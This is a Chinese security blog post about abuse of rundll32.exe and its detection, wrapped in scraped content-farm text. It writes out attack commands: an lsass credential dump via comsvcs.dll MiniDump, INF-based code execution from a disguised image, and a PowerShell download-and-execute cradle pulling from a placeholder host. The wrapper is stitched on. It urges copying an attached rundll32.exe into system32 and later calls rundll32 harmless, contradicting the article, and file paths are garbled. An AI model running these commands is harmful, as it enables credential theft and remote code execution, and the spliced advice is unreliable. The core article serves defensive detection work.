前沿拓展:
rundll32
傳一個(gè)給你,拷到c:windowssystem32里看看。
附件:rundll32.exe
前言
要做好檢測(cè)能力,必須得熟悉你的系統(tǒng)環(huán)境,只有足夠了解正常行為,才能真正找出異常(Anomaly)和威脅(Threat)
在上篇文章中介紹 CS 的一些行為特征時(shí),經(jīng)常提及 rundll32.exe,哪怕非安全人員,可能對(duì)該進(jìn)程都不陌生
顧名思義,rundll32.exe 可用于執(zhí)行 DLL 文件,也能調(diào)用該文件中的內(nèi)部函數(shù)
它的歷史差不多能追溯到 Windows 95,幾乎是所有 Windows **作系統(tǒng)的必需組件,不能輕易地被禁用
攻擊者可以借助 rundll32.exe 加載 DLL 文件中的惡意代碼,避免像其它 EXE 文件一樣直接在進(jìn)程樹中現(xiàn)行
另外,攻擊者還可能濫用合法 DLL 文件中的導(dǎo)出函數(shù),比如待會(huì)兒就會(huì)介紹到的 comsvcs.dll 和 MiniDump
除了加載 DLL 文件,rundll32.exe 還能通過 RunHtmlApplication 函數(shù)執(zhí)行 JavaScript
正因?yàn)檫@些特性,rundll32.exe 很容易博得攻擊者的青睞,在攻擊技術(shù)流行度中常常名列前茅
常用場(chǎng)景
對(duì)于 rundll32.exe,最簡(jiǎn)單粗暴的用法當(dāng)然是直接指定文件名稱,執(zhí)行目標(biāo) DLL:
— rundll32.exe <dllname>
當(dāng)然,在我們?nèi)粘J褂?*作系統(tǒng)的過程中,見得最多的可能是通過 rundll32.exe 調(diào)用某些 DLL 文件中的特定函數(shù)這一行為:
— rundll32.exe <dllname>,<entrypoint> <optional arguments>
譬如,在我們右鍵點(diǎn)擊某文檔,選擇特定的“打開方式”,第二會(huì)彈出個(gè)窗口供我們指定用于打開的應(yīng)用程序,實(shí)際上就相當(dāng)于在后臺(tái)執(zhí)行了以下命令:
— C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL <file_path>
拿修改 hosts 文件舉個(gè)例子,通過 WIN+R 執(zhí)行以下命令,即可彈出該選擇窗口:
— C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL C:WindowsSystem32driversetchosts
類似行為在我們的日志中呈現(xiàn)出來通常會(huì)是這么個(gè)模樣:
關(guān)于 shell32.dll,比較常見的函數(shù)還有 Control_RunDLL 和 Control_RunDLLAsUser,它們可以用于運(yùn)行 .CPL 文件,一般主要是控制面板中的小程序
例如打開防火墻: C:WINDOWSSystem32rundll32.exe C:WINDOWSSystem32shell32.dll,Control_RunDLL C:WINDOWSSystem32firewall.cpl
很顯然,這里的 CPL 文件也可以被替換成惡意文件,所以一旦出現(xiàn)可疑的路徑及文件名,我們就需要結(jié)合其它工具來檢查它的合法性
關(guān)于這一攻擊手法的使用細(xì)節(jié),這篇 Paper 值得一讀,本文就不展開闡述了
另外附上一張表格鏈接,其中包含了 Windows 10 上 rundll32.exe 可快速調(diào)用的命令清單及其功能含義
畢竟人生苦短,大家都沒時(shí)間去記住那么多命令,但是不妨先 mark 一下,等到有需要時(shí)可以迅速查出其含義
攻擊方式
借助 rundll32.exe 實(shí)現(xiàn)的攻擊方式非常多,這里我只簡(jiǎn)單介紹幾種比較有特色的利用姿勢(shì)
合法的DLL調(diào)用
攻擊者如果使用合法的 DLL 文件來完成攻擊活動(dòng),按照傳統(tǒng)的檢測(cè)手段,確實(shí)會(huì)大大增加防守難度
例如利用 comsvcs.dll 中的 MiniDump 函數(shù)對(duì)目標(biāo)進(jìn)程進(jìn)行內(nèi)存轉(zhuǎn)儲(chǔ),從而實(shí)現(xiàn)憑證竊取,參考這里:
— C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump <PID> C:templsass.dmp full
類似的還有 a**pack.dll,原本是用于幫助硬件和軟件讀取和驗(yàn)證.INF文件,也會(huì)被攻擊者用做代碼執(zhí)行
印象比較深刻的是之前分析一些木馬**時(shí)見過類似的使用技巧,特意搜了下,這里好像也有相關(guān)文章:
該**在圖片中存放惡意代碼,通過白利用完成代碼執(zhí)行,不熟悉的小伙伴遇見了真的很容易被瞞過去:
— c:windowssystem32rundll32.exe a**pack.dll,LaunchINFSection c:microsoft360666.png,DefaultInstall
當(dāng)然,這些攻擊手法在實(shí)際使用過程中肯定會(huì)有許多變種,用于繞過一些常規(guī)的檢測(cè)方式,比如 MiniDump 函數(shù)的調(diào)用也可以通過編號(hào) #24 完成
感興趣的朋友可以看看這里:
遠(yuǎn)程代碼加載
除了本地加載之外,rundll32.exe 也可以通過 RunHtmlApplication 函數(shù)執(zhí)行 JavaScript 以實(shí)現(xiàn)遠(yuǎn)程代碼加載,例如:
— rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
— rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")
值得一提的是,根據(jù)筆者的觀察,目前還沒怎么看到日常活動(dòng)中關(guān)于 javasciprt 關(guān)鍵字的合理使用場(chǎng)景,所以通常我會(huì)直接將該特征加入檢測(cè)模型
想深入了解這一攻擊手法,更多內(nèi)容可以看看這篇文章
濫用COM組件
關(guān)于 rundll32.exe 還有一些比較少見的命令行參數(shù) ———— -sta 和 -localserver,它們倆都能用來加載惡意注冊(cè)的 COM 組件
登上自家的 SIEM 去看看,說不定也能夠發(fā)現(xiàn)以下活動(dòng)(至少我確實(shí)根據(jù)相關(guān)數(shù)據(jù)狩獵到了一些有意思的活動(dòng):P)
— rundll32.exe –localserver <CLSID_GUID>— rundll32.exe –sta <CLSID_GUID>
對(duì) COM 組件不熟悉的童鞋可能需要先得去補(bǔ)補(bǔ)課,比如 ATT&CK 在持久化階段中提及到的 T1546.015-Component Object Model Hijacking
簡(jiǎn)單來講,當(dāng)我們看到類似的命令行參數(shù)時(shí),最好先去看看對(duì)應(yīng)注冊(cè)表下的鍵值對(duì)是否包含惡意的 DLL 文件或 SCT 腳本
它們通常在這個(gè)位置:HKEY_CLASSES_ROOTCLSID<GUID>,可結(jié)合下圖食用
關(guān)于具體的利用原理和攻擊細(xì)節(jié)可以看看這里,還有這篇文章中提到的使用 -localserver 作為攻擊變種的使用姿勢(shì)
檢測(cè)技巧命令行檢測(cè)
第一讓我們一起回顧一遍 rundll32.exe 的基本使用方法:
— rundll32.exe <dllname>,<entrypoint> <optional arguments>
從 rundll32 的文件位置開始,我們可以設(shè)定一條最基礎(chǔ)的檢測(cè)規(guī)則,因?yàn)樗ǔV挥幸韵聝煞N選擇:
– C:WindowsSystem32rundll32.exe
– C:WindowsSysWOW64rundll32.exe (32bit version on 64bit systems)
雖然簡(jiǎn)單,但也不并一定完全無用武之地:
接著,讓我們開始關(guān)注 DLL 文件和導(dǎo)出函數(shù)
通過前文的介紹,我們應(yīng)該能達(dá)成共識(shí):原創(chuàng)發(fā)布轉(zhuǎn)載,請(qǐng)參考轉(zhuǎn)載聲明,注明出處: https://www.anquanke.com/post/id/263193安全客 – 有思想的安全新媒體
拓展知識(shí):
rundll32
rundll32是重要系統(tǒng)動(dòng)態(tài)鏈接庫(kù)文件,主要是控制面板調(diào)用。這個(gè)很正常,不用關(guān)心它。
原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請(qǐng)注明出處:http:///22154.html